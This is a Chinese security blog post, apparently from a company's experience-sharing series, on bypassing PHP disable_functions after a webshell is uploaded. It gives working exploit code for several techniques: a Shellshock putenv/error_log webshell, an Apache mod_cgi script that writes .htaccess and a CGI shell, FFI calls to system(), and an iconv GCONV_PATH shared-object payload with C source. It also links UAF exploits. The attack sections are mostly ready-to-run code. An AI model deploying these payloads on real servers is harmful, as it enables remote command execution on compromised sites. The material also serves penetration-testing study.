FSRC教你绕过disable_functions(下)
FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。
欢迎各位安全从业者持续关注!
7511字 阅读时间约18分钟
为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link
如果在渗透时,上传了webshell却因为disable_functions禁用了一些函数,导致无法命令执行,这时候就需要去进行绕过。
本文整理了互联网上相关的案例及分享,加上了自己复现时的一些经验总结。因篇幅较长,分为上下两部。本文为下部,介绍更多特定的绕过姿势。包括 利用shellshock、利用PHP垃圾收集器堆溢出、利用apache Mod CGI等方法。
上部为介绍常规的绕过及利用LD_PRELOAD变量绕过的方法,点此跳转
漏洞利用相关工具:https://github.com/mm0r1/exploits
PHP7-GC-UAF
此漏洞通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令
Linux系统
PHP 7.0-7.3
在获取shell之后,在网站目录上传exploit.php文件。
修改命令即可,直接访问文件可以获取执行结果。
PHP7-Backtrace-UAF
Backtrace UAF漏洞利用在debug_backtrace()函数中,我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。
Linux 操作系统
PHP版本:7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 < 7.3.15 (released 20 Feb 2020) 7.4 < 7.4.3 (released 20 Feb 2020)
Json Serializer UAF
Json Serializer UAF漏洞利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
原理简述
该方法利用bash中的一个老漏洞,即Bash Shellshock 破壳漏洞(CVE-2014-6271)。该漏洞的原因是Bash使用的环境变量是通过函数名称来调用的,导致该漏洞出现是以(){开头定义的环境变量在命令 ENV 中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行。PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。
适用条件
Linux 操作系统
版本为PHP 5.*
目标系统的
/bin/bash
存在CVE-2014-6271
漏洞putenv()
、mail()
或error_log()
函数可用/bin/sh -> /bin/bash
sh 默认的 shell 是 bash
利用方法
【AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可】
下面是手动利用:
在网站根目录上传以下利用脚本:
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
error_log('a',1);
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
直接访问即可执行命令。
原理简述
早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。
当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。
而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。
若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:
Options +ExecCGI
AddHandler cgi-script .xxx
这样便会将当前目录下的所有的.xxx文件当作CGI程序执行了。
由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。
适用条件
Linux 操作系统
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了
cgi
,rewrite
Web 目录给了
AllowOverride
权限(AllowOverride选项用于定义位于每个目录下.htaccess(访问控制)文件中的指令类型。)当前目录可写
利用方法
蚁剑有插件可以直接利用。
手动方法有两种,其实都是一样的,只是顺序与利用脚本不一样。
cmd修改为需要执行的命令,上传php文件到网站目录,访问php文件后后会自动创建出现.htaccess文件和shell.dizzle文件。
<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\\n"; //using a shellscript
$shellfile .= "echo -ne \\"Content-Type: text/html\\\\n\\\\n\\"\\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
生成的两个文件内容如下:
.htaccess文件 (dizzle后缀可以随意修改,注意和shell文件后缀一致就行)
Options +ExecCGI
AddHandler cgi-script .dizzl
shell.dizzle文件
echo -ne "Content-Type: text/html\\n\\n"
tac /flag
访问shell文件即可 (这里命令用的id这里命令用的id)
拿到shell之后,分别上传.htaccess和shell文件拿到shell之后,分别上传.htaccess和shell文件(内容同上)
之后在shell里执行php的chomd()函数赋予shell文件可执行权限
<http://x.x.x.x/shell.php?cmd=chmod('shell.dizzle',0777)>;
之后访问shell文件即可执行命令。
原理简述
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。
适用条件
Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true
[ffi]
; FFI API restriction. Possible values:
; "preload" - enabled in CLI scripts and preloaded files (default)
; "false" - always disabled
; "true" - always enabled
ffi.enable=true
; List of headers files to preload, wildcard patterns allowed.
;ffi.preload=
利用方法
通常使用 FFI::cdef 创建一个新的 FFI 对象。
注意:system函数无回显,所以输出结果到文件里然后包含文件获取结果。最后的unlink删除文件。
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>
上传exp到网站目录,直接访问即可获得命令结果。
原理简述
FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。
PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启
即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver。
PHP5.3 版本之后,PHP-FPM 是内置于 PHP 的,一般来说,尤其是在高并发的情况下,nginx + PHP-FPM 的组合要比 apache + mod_php 好很多,那么伪造请求发送给 PHP-FPM 就可以任意代码执行。
适用条件
Linux 操作系统
PHP-FPM
存在可写的目录, 需要上传
.so
文件
利用方法
蚁剑插件可以直接使用:
选择写入的地址是网站根目录,成功之后会在目录下生成可执行命令的shell文件,重新连接即可:
原理简述
iconv是一个计算机程序以及一套应用程序编程接口的名称。作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。
适用条件
Linux 操作系统
php 安装了
iconv
相关模块存在可写的目录, 需要上传
.so
文件putenv
利用方法
上传gconv-modules
文件到/tmp
目录下
【hack是自定义的字符集,注意前面是大写,后面是小写】
module HACK// INTERNAL ../../../../../../../../tmp/hack 2
module INTERNAL HACK// ../../../../../../../../tmp/hack 2
书写hack.c文件
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
system("id > /tmp/flag");
}
编译成so文件并上传到/tmp
目录下
gcc hack.c -o hack.so -shared -fPIC
在网站根目录上传php文件【iconv的第一个参数和上面的自定义字符集保持一致】
<?php
putenv("GCONV_PATH=/tmp");
iconv("hack", "UTF-8", "whatever");
?>
直接访问上传的php文件,结果会输出在/tmp/flag
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数(by J0k3r)
https://www.anquanke.com/post/id/197745#h3-2
【PHP绕过】LD_PRELOAD bypass disable_functions(by 丶4ut15m)
https://blog.csdn.net/xia739635297/article/details/104641082/
本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
本文编辑:小错
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 这本书,智利总统带到秘鲁的会见厅 7958766
- 2 药监局:百雀羚不存在违规行为 7926874
- 3 胖东来:员工不许靠父母买房买车 7887578
- 4 世界互联网大会有哪些新看点? 7753473
- 5 梁靖崑不敌张本智和 无缘8强 7693609
- 6 医院CT等收费将执行新规 7540471
- 7 两警察私带警用装备跨省抓人索财 7412753
- 8 钟睒睒不建议长期喝绿瓶水 7344275
- 9 一个金镯子省出1200元 金价真跌了 7281797
- 10 科技与文化融合的“赛博”水乡 7132254